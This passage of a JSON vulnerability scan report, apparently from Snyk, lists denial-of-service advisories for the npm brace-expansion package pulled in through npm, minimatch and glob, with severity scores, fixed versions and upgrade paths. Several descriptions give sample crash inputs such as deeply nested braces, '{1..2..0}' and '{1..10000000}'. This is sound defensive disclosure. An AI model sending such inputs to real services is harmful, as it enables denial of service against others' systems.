"level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", 